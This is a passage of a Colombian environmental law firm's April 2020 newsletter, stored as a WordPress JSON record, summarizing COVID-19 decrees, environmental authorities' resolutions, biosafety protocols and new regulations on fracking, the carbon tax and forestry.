{"id":719,"date":"2020-04-22T20:03:16","date_gmt":"2020-04-22T20:03:16","guid":{"rendered":"https:\/\/alvarezabogadosambiental.com\/?p=719"},"modified":"2026-02-11T18:46:29","modified_gmt":"2026-02-11T18:46:29","slug":"boletin-informativo-marzo-2020-4","status":"publish","type":"post","link":"https:\/\/alvarezabogadosambiental.com\/en\/2020\/04\/22\/boletin-informativo-marzo-2020-4\/","title":{"rendered":"Bolet\u00edn Informativo Abril 2020"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-palette-color-2-color has-text-color has-link-color wp-elements-445e9b84fc1e7a790c6743515e393f18\">Bolet\u00edn Informativo Abril 2020<\/h2>\n\n\n<p><strong><u>MEDIDAS TOMADAS A CAUSA DEL COVID-19<\/u><\/strong><\/p>\n<p><strong>Medidas para garantizar la atenci\u00f3n y prestaci\u00f3n de servicios por parte de las autoridades y particulares que cumplan funciones p\u00fablicas<\/strong><\/p>\n<p><strong>Decreto 491 de 28-03-2020 \u2013 Ministerio de Justicia y del Derecho<br \/><\/strong>El Decreto aplica a todos los organismos y entidades que conforman las ramas del poder p\u00fablico en sus distintos \u00f3rdenes, sectores y niveles, \u00f3rganos de control, \u00f3rganos aut\u00f3nomos e independientes del Estado y a los particulares cuando cumplan funciones p\u00fablicas, en el marco de la emergencia sanitaria y emergencia econ\u00f3mica, social y ecol\u00f3gica, decretadas por el gobierno nacional. Se toman medidas relativas a la prestaci\u00f3n de los servicios a cargo de las autoridades, la notificaci\u00f3n o comunicaci\u00f3n de actos administrativos, la ampliaci\u00f3n de t\u00e9rminos para atender las peticiones (Derecho de Petici\u00f3n) y la potestad de las autoridades para suspender los t\u00e9rminos de las actuaciones administrativas o jurisdiccionales en sede administrativa, entre otras.<\/p>\n<p>Adicionalmente, determina la ampliaci\u00f3n de la vigencia de licencias, permisos, autorizaciones y certificados de toda \u00edndole, entendi\u00e9ndose incluidos aquellos expedidos en materia ambiental y de seguridad y salud en el trabajo, as\u00ed como la pr\u00f3rroga autom\u00e1tica de los mismos, hasta por un (1) mes m\u00e1s contado a partir de la superaci\u00f3n de la Emergencia Sanitaria declarada por el Ministerio de Salud y Protecci\u00f3n Social.<\/p>\n<p>En materia laboral y de seguridad y salud en el trabajo, adem\u00e1s de tomar medidas para la protecci\u00f3n laboral y de los contratistas de prestaci\u00f3n de servicios de las entidades p\u00fablicas, en el marco del Estado de Emergencia Econ\u00f3mica, Social y Ecol\u00f3gica, toma medidas relacionadas con la obligaci\u00f3n de las autoridades de reportar a las Aseguradoras de Riesgos Laborales \u2013 ARL, la lista de los servidores p\u00fablicos y contratistas que durante el per\u00edodo de aislamiento preventivo obligatorio presten sus servicios a trav\u00e9s de teletrabajo o trabajo en casa.<\/p>\n<p><strong><br \/><\/strong><strong>Autoridades Ambientales continuar\u00e1n prestando sus servicios y ejerciendo sus funciones durante la emergencia<\/strong><\/p>\n<p><strong>Circular No. 9 de 12-04-2020 &#8211; M<\/strong><strong>inisterio de Ambiente y Desarrollo Sostenible<br \/><\/strong>El Ministerio de Ambiente y Desarrollo Sostenible formula una serie de recomendaciones para dar cumplimiento al Decreto 491de 28-03-2020 del Ministerio de Justicia y del Derecho, con el fin de que el sector ambiental contin\u00fae prestando sus servicios y ejerciendo las funciones de control, vigilancia, seguimiento y monitoreo de manera ininterrumpida, en el marco de la emergencia sanitaria decretada por el gobierno nacional, circular dirigida a todas las entidades adscritas y vinculadas del sector, a las Corporaciones Aut\u00f3nomas Regionales y a las Autoridades Ambientales Urbanas.<\/p>\n<p>En tal virtud, si bien se suspende la prestaci\u00f3n de servicios presenciales en sede de las autoridades, se se\u00f1alan directrices relativas a la prestaci\u00f3n de los servicios a cargo de las mismas, implementando obligatoriamente el uso de canales electr\u00f3nicos de informaci\u00f3n y comunicaci\u00f3n, el trabajo en casa y teletrabajo de sus servidores, el uso de herramientas tecnol\u00f3gicas y\/o colaborativas, el uso de canales virtuales de atenci\u00f3n al ciudadano, la notificaci\u00f3n electr\u00f3nica obligatoria, la continuidad de los tr\u00e1mites en curso y recepci\u00f3n de nuevas solicitudes y la ampliaci\u00f3n de t\u00e9rminos para atender las peticiones, quejas o reclamos.<\/p>\n<p>No obstante, se ordena la suspensi\u00f3n de visitas t\u00e9cnicas y, por ende, de algunas actuaciones administrativas o tr\u00e1mites en curso que dependen de ellas. Los procesos sancionatorios deber\u00e1n ser suspendidos en el estado en que se encuentren, pero \u00fanicamente cuando no se hayan practicado pruebas, de lo contrario se deber\u00e1 continuar con el tr\u00e1mite respectivo a trav\u00e9s de los medios virtuales dispuestos para ello. Igualmente se suspenden los procesos de Consulta Previa, acorde con la Circular OFI2020-7728-DCP-2500 de 16-03-2020 del Ministerio del Interior y de Justicia &#8211; Direcci\u00f3n de Consulta Previa.<\/p>\n<p>En cumplimiento del decreto y circular referidos, relacionamos los actos administrativos dictados en la materia por algunas de las autoridades ambientales, en especial de las regiones Caribe, Bogot\u00e1 y Cundinamarca, Valle del Cauca, Tolima, Eje Cafetero y Llanos Orientales, regiones donde prestamos nuestros servicios, relacionadas con las funciones a su cargo, la prestaci\u00f3n de servicios durante la emergencia, los canales de atenci\u00f3n al p\u00fablico, la comunicaci\u00f3n con los usuarios y las previsiones acerca de los t\u00e9rminos legales, procedimientos\u00a0y tr\u00e1mites que se surten ante ellas. Algunas de estas medidas ya hab\u00edan sido rese\u00f1adas en el bolet\u00edn anterior.<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"19\"><strong>\u00a0<\/strong><\/td>\n<td width=\"274\"><strong>Autoridad Ambiental<\/strong><\/td>\n<td width=\"296\"><strong>Acto Administrativo<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>1<\/strong><\/td>\n<td width=\"274\">Ministerio de Ambiente y Desarrollo Sostenible &#8211; MADS<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 319 de 31-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>2<\/strong><\/td>\n<td width=\"274\">Autoridad Nacional de Licencias Ambientales -ANLA\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 470 de 19-03-2020, modificada por Resoluci\u00f3n No. 574 de 31-03-2020 y por Resoluci\u00f3n No. 642 de 13-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>3<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Atl\u00e1ntico \u2013 CRA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 123 de 19-03-2020, modificada por Resoluci\u00f3n No. 132 de 24-03-2020 y por Resoluci\u00f3n No. 142 de 07-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>4<\/strong><\/td>\n<td width=\"274\">Establecimiento P\u00fablico Ambiental \u2013 EPA Barranquilla Verde<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 630 de 16-03-2020, modificada por Resoluci\u00f3n No. 689 de 31-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>5<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Canal del Dique \u2013 CARDIQUE<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 396 de 01-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>6<\/strong><\/td>\n<td width=\"274\">Establecimiento P\u00fablico Ambiental Cartagena de Indias &#8211; EPA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 067 de 01-04-2020\n<p>\u00a0<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>7<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Magdalena &#8211; CORPAMAG<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 820 de 23-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>8<\/strong><\/td>\n<td width=\"274\">Departamento Administrativo de Sostenibilidad Ambiental de Santa Marta &#8211; DADSA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 066 de 13-03-2020\n<p>\u00a0<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>9<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de La Guajira \u2013 CORPOGUAJIRA<\/td>\n<td width=\"296\">Comunicado de 17-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>10<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Cesar \u2013 CORPOCESAR<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 110 de 20-03-2020, modificada por Resoluci\u00f3n No. 112 de 30-03-2020 y por Resoluci\u00f3n No. 115 de 13-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>11<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de los Valles del Sin\u00fa y el San Jorge &#8211; CVS<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 2-7125 de 18-03-2020, modificada por Resoluci\u00f3n No. 2-7144 de 24-03-2020 y por Resoluci\u00f3n No. 2-7150 de 06-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>12<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de Sucre &#8211; CARSUCRE<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 443 de 24-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>13<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de la Mojana &#8211; CORPOMOJANA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 140 de 18-03-2020, modificada por Resoluci\u00f3n No. 169 de 30-03-2020 y por Resoluci\u00f3n No. 170 de 13-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>14<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Sur de Bol\u00edvar \u2013 CSB<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 129 de 16-03-2020, modificada por Resoluci\u00f3n No. 140 de 25-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>15<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de San Andr\u00e9s Providencia y Santa Catalina &#8211; CORALINA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 129 de 23-03-2020 y Comunicado de 07-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>16<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de Cundinamarca \u2013 CAR<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 690 de 17-03-2020, modificada por\u00a0\u00a0 Resoluci\u00f3n No. 764 de 30-03-2020 y por Resoluci\u00f3n No. 770 de 14-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>17<\/strong><\/td>\n<td width=\"274\">Secretar\u00eda Distrital de Ambiente de Bogot\u00e1 &#8211; SDA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 769 de 17-03-2020, modificada por Resoluci\u00f3n No. 785 de 24-03-2020 y Memorando Interno de 01-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>18<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Valle del Cauca &#8211; CVC<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 229 de 16-03-2020, modificada por Resoluci\u00f3n No. 236 de 18-03-2020 y por Resoluci\u00f3n No. 249 de 27-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>19<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de Caldas \u2013 CORPOCALDAS<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 481 de 16-03-2020, modificada por Resoluci\u00f3n No. 542 de 24-03-2020 y por Resoluci\u00f3n No. 561 de 01-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>20<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de Risaralda \u2013 CARDER<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 239 de 30-03-2020, modificada por Resoluci\u00f3n No. 258 de 01-04-2020 y por Resoluci\u00f3n No. 266 de 13-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>21<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Quind\u00edo \u2013 CRQ<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 460 de 18-03-2020, modificada por Resoluci\u00f3n No. 502 de 30-03-2020 y por Resoluci\u00f3n No. 516 de 13-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>22<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del Tolima &#8211; CORTOLIMA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 599 de 19-03-2020, modificada por Resoluci\u00f3n No. 0601 de 24-03-2020 y por Resoluci\u00f3n No. 609 de 31-03-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>23<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional del \u00c1rea de Manejo de la Macarena \u2013 CORMACARENA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 131 de 03-04-2020<\/td>\n<\/tr>\n<tr>\n<td width=\"19\"><strong>24<\/strong><\/td>\n<td width=\"274\">Corporaci\u00f3n Aut\u00f3noma Regional de la Orinoquia \u2013 CORPORINOQUIA<\/td>\n<td width=\"296\">Resoluci\u00f3n No. 373 de 16-03-2020, modificada por Resoluci\u00f3n No. 391 de 20-03-2020 y por Resoluci\u00f3n No. 408 de 12-04-2020<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Para m\u00e1s informaci\u00f3n se sugiere ingresar a la p\u00e1gina web de cada autoridad ambiental de su inter\u00e9s.<\/p>\n<p><strong><br \/>Se adoptan medidas de bioseguridad sectoriales para evitar la propagaci\u00f3n del contagio<\/strong><\/p>\n<p><strong>Decreto No. 539 de 15-04-2020 &#8211; Ministerio de Salud y Protecci\u00f3n Social<br \/><\/strong>A fin de mitigar, evitar la propagaci\u00f3n y realizar el adecuado manejo de la pandemia del Coronavirus, el Ministerio de Salud y Protecci\u00f3n Social ser\u00e1 la entidad encargada de dirigir y expedir los Protocolos de Bioseguridad que se requieran, para todas las actividades econ\u00f3micas, sociales y sectores p\u00fablico y privado. Los protocolos se vienen desarrollando mediante una serie de gu\u00edas, documentos t\u00e9cnicos y circulares administrativas, en diferentes actividades, en las cadenas log\u00edstica, de abastecimiento y de producci\u00f3n de todo tipo de bienes y servicios estrat\u00e9gicos para la sociedad.<\/p>\n<p>A la fecha de publicaci\u00f3n del presente bolet\u00edn, se han expedido los siguientes Protocolos:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"113\"><strong>Sector<\/strong><\/td>\n<td width=\"217\"><strong>Tipo de Documento<\/strong><\/td>\n<td width=\"258\"><strong>Protocolo <\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Salud<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Manual de Bioseguridad para Prestadores de Servicios de Salud<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Salud<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Orientaciones para el Manejo de Residuos generados en la Atenci\u00f3n en Salud por Covid-19<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Salud<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Lineamientos de bioseguridad para adaptar en los sectores diferentes a salud<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Servicios p\u00fablicos domiciliarios<\/td>\n<td width=\"217\">Circular de 26-03-2020<\/td>\n<td width=\"258\">Medidas de prevenci\u00f3n y seguimiento en materia de servicios p\u00fablicos domiciliarios de acueducto, alcantarillado y aseo<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Seguridad y Salud en el Trabajo<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Lineamientos para prevenci\u00f3n control y reporte de accidente por exposici\u00f3n ocupacional al Covid-19 en instituciones de salud<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Seguridad y Salud en el Trabajo<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Prevenci\u00f3n de riesgos ocupacionales en la gesti\u00f3n de expedici\u00f3n de licencias de seguridad y salud en el trabajo y la gesti\u00f3n de los prestadores de servicios de seguridad y salud en el trabajo<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Medio Ambiente<\/td>\n<td width=\"217\">Gu\u00eda Minambiente<\/td>\n<td width=\"258\">Lineamientos para la separaci\u00f3n, manejo, recolecci\u00f3n en el servicio p\u00fablico de aseo y la gesti\u00f3n de los residuos s\u00f3lidos por el Covid-19.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Servicios p\u00fablicos domiciliarios<\/td>\n<td width=\"217\">Circular de 26-03-2020<\/td>\n<td width=\"258\">Medidas de prevenci\u00f3n y seguimiento en materia de servicios p\u00fablicos domiciliarios de acueducto, alcantarillado y aseo<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Minas y Energ\u00eda<\/td>\n<td width=\"217\">Circular Conjunta No. 01-2020 (Minminas-Minsalud-Mintrabajo)<\/td>\n<td width=\"258\">Medidas sanitarias a considerar en los diferentes eslabones de las cadena log\u00edstica y productiva de los sectores minas y energ\u00eda<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Minas y Energ\u00eda<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Orientaciones para la reducci\u00f3n del riesgo de exposici\u00f3n y contagio de Covid-19 en actividades industriales en el sector minero energ\u00e9tico<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Construcci\u00f3n<\/td>\n<td width=\"217\">Circular Conjunta No. 001 de 11-04-2020 (Minvivienda-Minsalud-Mintrabajo)<\/td>\n<td width=\"258\">Orientaciones sobre medidas preventivas y de mitigaci\u00f3n para reducir la exposici\u00f3n y contagio en actividades de construcci\u00f3n<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Transporte<\/td>\n<td width=\"217\">Circular Conjunta No. 003 de 08-04-2020 (Mintransporte-Minsalud-Mintrabajo)<\/td>\n<td width=\"258\">Medidas para reducir la exposici\u00f3n y contagio del Covid-19, en proyectos de infraestructura de transporte<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Transporte<\/td>\n<td width=\"217\">Circular Conjunta No. 004 de 09-04-2020 (Mintransporte-Minsalud-Mintrabajo)<\/td>\n<td width=\"258\">Medidas para reducir la exposici\u00f3n y contagio del Covid-19, en la cadena log\u00edstica de transporte terrestre y f\u00e9rreo de carga y pasajeros<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Agricultura<\/td>\n<td width=\"217\">Circular Conjunta No. 003 de 08-04-2020 (Mintransporte-Minsalud-Mintrabajo)<\/td>\n<td width=\"258\">Recomendaciones y orientaciones para la prevenci\u00f3n, contenci\u00f3n y mitigaci\u00f3n del Coronavirus Covid-19 en las actividades agr\u00edcolas y ganaderas<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Alimentos y farmac\u00e9utico<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Lineamientos para el sector productivo de productos farmac\u00e9uticos, alimentos y bebidas durante la epidemia de Covid-19<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Comunicaciones<\/td>\n<td width=\"217\">Circular Conjunta (MinTics-Minsalud)<\/td>\n<td width=\"258\">Medidas preventivas y de mitigaci\u00f3n para contener el avance del Covid-19<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Call Centers<\/td>\n<td width=\"217\">Gu\u00eda Minsalud<\/td>\n<td width=\"258\">Orientaciones y medidas a adoptar por el personal de centros de llamadas telef\u00f3nicas y atenci\u00f3n a usuarios<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Turismo<\/td>\n<td width=\"217\">Circular Externa No. 012 de 12-03-2020 (Mincomercio-Minsalud)<\/td>\n<td width=\"258\">Directrices para la contenci\u00f3n del Covid-19 en el entorno hotelero<\/td>\n<\/tr>\n<tr>\n<td width=\"113\">Domicilios<\/td>\n<td width=\"217\">Circular Externa No. 015 de 09-04-2020 (Mincomercio-MinTics-Mintrabajo-Minsalud<\/td>\n<td width=\"258\">Medidas sanitarias espec\u00edficas para empresas proveedoras del servicio de domicilios, de mensajer\u00eda y operadores de plataformas digitales relacionadas<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>S<strong>e decreta suspensi\u00f3n de actuaciones judiciales y t\u00e9rminos procesales<br \/><\/strong>Mediante el <strong>Acuerdo PCSJA20-11532 de 11-04-2020 del Consejo Superior de la Judicatura<\/strong>, se prorroga la medida de suspensi\u00f3n de t\u00e9rminos hasta el 26 de abril de 2020 con excepci\u00f3n de acciones de tutela, habeas corpus, control de legalidad de decretos legislativos dictados en virtud de la emergencia, funci\u00f3n de control de garant\u00edas, funci\u00f3n de conocimiento en materia penal, procesos de adopci\u00f3n y medidas de protecci\u00f3n en casos de violencia intrafamiliar, por supuesto utilizando las herramientas virtuales requeridas para el efecto.<\/p>\n<p>Por su parte, mediante <strong>Decreto 564 de 15-04-2020 del Ministerio de Justicia y del Derecho<\/strong>, se adoptan medidas para la garant\u00eda de los derechos de los usuarios del sistema de justicia, decret\u00e1ndose la suspensi\u00f3n de los t\u00e9rminos de prescripci\u00f3n y caducidad que se encuentren previstos en cualquier norma sustancial o procesal para derechos, acciones, medios de control, presentaci\u00f3n de demandas ante la rama judicial o tribunales arbitrales, sean de d\u00edas, meses o a\u00f1os, t\u00e9rminos que se encuentran suspendidos desde el 16 marzo de 2020, hasta el d\u00eda que el Consejo Superior de la Judicatura disponga la reanudaci\u00f3n de los t\u00e9rminos judiciales.<\/p>\n<p><strong><u><br \/>NOVEDADES NORMATIVAS<\/u><\/strong><\/p>\n<p><strong>Se definen lineamientos para el <em>fracking<\/em> en Colombia<\/strong><\/p>\n<p><strong>Decreto No. 328 de 28-02-2020 &#8211; Ministerio de Minas y Energ\u00eda<br \/><\/strong>La norma fija los lineamientos para adelantar <em>\u201cProyectos Piloto de Investigaci\u00f3n Integral \u2013 PPII sobre Yacimientos no Convencionales &#8211; YNC de hidrocarburos, con la utilizaci\u00f3n de la t\u00e9cnica de Fracturamiento Hidr\u00e1ulico Multietapa con Perforaci\u00f3n Horizontal &#8211; FH-PH\u201d<\/em>, tambi\u00e9n conocida como <em>fracking<\/em>. El decreto adiciona una secci\u00f3n al Cap\u00edtulo 1 del T\u00edtulo 1 del Decreto \u00danico del sector Minas y Energ\u00eda, Decreto 1073 de 2015.<\/p>\n<p>Reglamenta el permiso para adelantar los PPII ante la Agencia Nacional de Hidrocarburos \u2013 ANH, as\u00ed como los requisitos t\u00e9cnicos que debe establecer el Ministerio de Minas y Energ\u00eda y los requisitos ambientales y t\u00e9rminos de referencia a reglamentar por el Ministerio de Ambiente y Desarrollo Sostenible, en especial para la obtenci\u00f3n de la Licencia Ambiental para los PPII, la cual ser\u00e1 de competencia exclusiva de la Autoridad Nacional de Licencias Ambientales &#8211; ANLA.\u00a0 As\u00ed mismo determina las etapas detalladas para el desarrollo de los PPII, los instrumentos de evaluaci\u00f3n y seguimiento y los mecanismos de transparencia y participaci\u00f3n ciudadana asociada a los mismos.<\/p>\n<p><strong><br \/>Nueva estructura y planta de personal de la ANLA<\/strong><\/p>\n<p><strong>Decretos Nos. 376 y 377 de 11-03-2020 \u2013 Ministerio de Ambiente y Desarrollo Sostenible<br \/><\/strong>Con el fin de fortalecer la financiaci\u00f3n de la ANLA, la institucionalidad ambiental, la regulaci\u00f3n para la sostenibilidad, los procesos de licenciamiento ambiental y evaluaci\u00f3n de permisos y dem\u00e1s instrumentos de manejo y control ambiental, el Ministerio de Ambiente y Desarrollo Sostenible \u2013 MADS modifico la estructura y planta de personal de la Autoridad Nacional de Licencias Ambientales \u2013 ANLA.<\/p>\n<p>Adem\u00e1s de ampliar la planta de personal, sobre todo en materia de profesionales especializados, la norma robustece la entidad y determina las funciones de la Direcci\u00f3n General, las Oficinas adscritas a su Despacho y cada una de las Subdirecciones. Esta es la nueva estructura de la entidad:<\/p>\n<ol>\n<li>Despacho del Director General<br \/>1.1. Oficina de Control Interno<br \/>1.2. Oficina de Control Disciplinario Interno<br \/>1.3. Oficina de Tecnolog\u00edas de la Informaci\u00f3n<br \/>1.4. Oficina Asesora Jur\u00eddica<br \/>1.5. Oficina Asesora de Planeaci\u00f3n<br \/>2. Subdirecci\u00f3n de Mecanismos de Participaci\u00f3n Ciudadana Ambiental<br \/>3.Subdirecci\u00f3n de Evaluaci\u00f3n de Licencias Ambientales<br \/>4.Subdirecci\u00f3n de Seguimiento de Licencias Ambientales<br \/>5.Subdirecci\u00f3n de Instrumentos, Permisos y Tr\u00e1mites Ambientales<br \/>6.Subdirecci\u00f3n Administrativa y Financiera<\/li>\n<\/ol>\n<p>\u00a0<\/p>\n<p><strong>Garantizan suministro de agua potable durante la emergencia <\/strong><\/p>\n<p><strong>Decreto No. 465 del 23-03-2020 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<br \/><\/strong>Entre muchas de las medidas transitorias para garantizar el suministro de agua potable a la poblaci\u00f3n, tomadas por el Ministerio de Vivienda, Ciudad y Territorio, los entes territoriales y otros entes, durante la declaratoria de <em>Emergencia Sanitaria<\/em> decretada por el Ministerio de Salud y Protecci\u00f3n Social y la <em>Emergencia Econ\u00f3mica, Social y Ecol\u00f3gica<\/em> decretada por la Presidencia de la Rep\u00fablica, se tienen las medidas tomadas en la materia por el Ministerio de Ambiente y Desarrollo Sostenible.<\/p>\n<p>El decreto dispone la priorizaci\u00f3n, flexibilizaci\u00f3n de tr\u00e1mites y pr\u00f3rrogas autom\u00e1ticas de permisos de prospecci\u00f3n, exploraci\u00f3n y\/o concesiones de aguas superficiales y subterr\u00e1neas, cobros de parte de las autoridades ambientales a los prestadores de acueducto y alcantarillado de tasas por uso y retributivas con las tarifas m\u00ednimas y facilidades para la gesti\u00f3n y disposici\u00f3n final segura de residuos con riesgo biol\u00f3gico o infeccioso, tal como fue informado en comunicado y bolet\u00edn anterior, especialmente dedicado a la emergencia.<\/p>\n<p><strong><br \/>DIAN ajusta la tarifa del Impuesto Nacional al Carbono<\/strong><\/p>\n<p><strong>Resoluci\u00f3n No. 00009 de 31-01-2020 \u2013 Direcci\u00f3n de Impuestos y Aduanas Nacionales<br \/><\/strong>El Impuesto Nacional al Carbono es un gravamen que recae sobre el contenido de carbono de combustibles f\u00f3siles, en especial todos los derivados de petr\u00f3leo y tipos de gas f\u00f3sil que sean usados con fines energ\u00e9ticos, siempre que sean usados para combusti\u00f3n. El mismo, no se causa a los sujetos pasivos que certifiquen ser carbono neutro, obteniendo el tratamiento tributario de que trata la Ley 1819 de 2016.<\/p>\n<p>La nueva tarifa aplica al consumo de Gas Natural, Gas Licuado de Petr\u00f3leo, Gasolina, Kerosene y Jet Fuel, ACPM y Fuel Oil, \u00fanicamente para los para los fines atr\u00e1s se\u00f1alados. Se fija un valor general por tonelada de CO2 emitida y los valores de la tarifa por unidad de combustible, metro c\u00fabico (gas natural) o gal\u00f3n (dem\u00e1s combustibles), seg\u00fan sea el caso.<\/p>\n<p><strong><em><br \/><\/em><\/strong><strong>Ampl\u00edan plazos para organismos de verificaci\u00f3n de Carbono Neutro<\/strong><\/p>\n<p><strong>Decreto No. 446 del 21-03-2020 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<br \/><\/strong>Considerando que a la fecha no hay en Colombia organismos certificadores de carbono neutro, que cumplan lo establecido en el Decreto 926 de 2017 que adicion\u00f3 el Decreto 1076 de 2015 (Decreto \u00danico del sector Ambiente y Desarrollo Sostenible), se ampl\u00eda el plazo para que los organismos de verificaci\u00f3n cumplan con los requisitos de acreditaci\u00f3n establecidos.<\/p>\n<p>Mientras tanto, las verificaciones realizadas bajo esquemas de acreditaci\u00f3n internacionales deber\u00e1n hacerse bajo la norma ISO 14064 (V. 2 y 3). Adem\u00e1s, el organismo de verificaci\u00f3n de las reducciones y remociones de Gases de Efecto Invernadero &#8211; GEI, deber\u00e1 estar acreditado por el Organismo Nacional de Acreditaci\u00f3n de Colombia (ONAC) o un miembro signatario del Foro Internacional de Acreditaci\u00f3n (IAF). Los organismos acreditados por la Junta Ejecutiva del Mecanismo Desarrollo Limpio (MDL), como entidad operacional, tambi\u00e9n podr\u00e1n realizar procesos de validaci\u00f3n y verificaci\u00f3n, pero bajo la norma ISO 14065.<\/p>\n<p><strong><br \/>Nuevos procedimientos para operaciones forestales<\/strong><\/p>\n<p><strong>Ministerio de Ambiente y Desarrollo Sostenible<br \/><\/strong>Mediante la <strong>Resoluci\u00f3n No. 200 del 05-03-2020<\/strong>, el Ministerio de Ambiente y Desarrollo Sostenible, modifica la Resoluci\u00f3n No. 1971 de 2019, informando que el Libro de Operaciones Forestales en L\u00ednea \u2013 LOFL, estar\u00e1 disponible a trav\u00e9s de la Ventanilla Integral de Tr\u00e1mites en L\u00ednea \u2013 VITAL, a partir del 28 de abril del presente a\u00f1o.<\/p>\n<p>As\u00ed mismo, por medio de la <strong>Resoluci\u00f3n No. 213 del 09-03-2020<\/strong>, la misma cartera establece los nuevos Formatos \u00danicos Nacionales para: 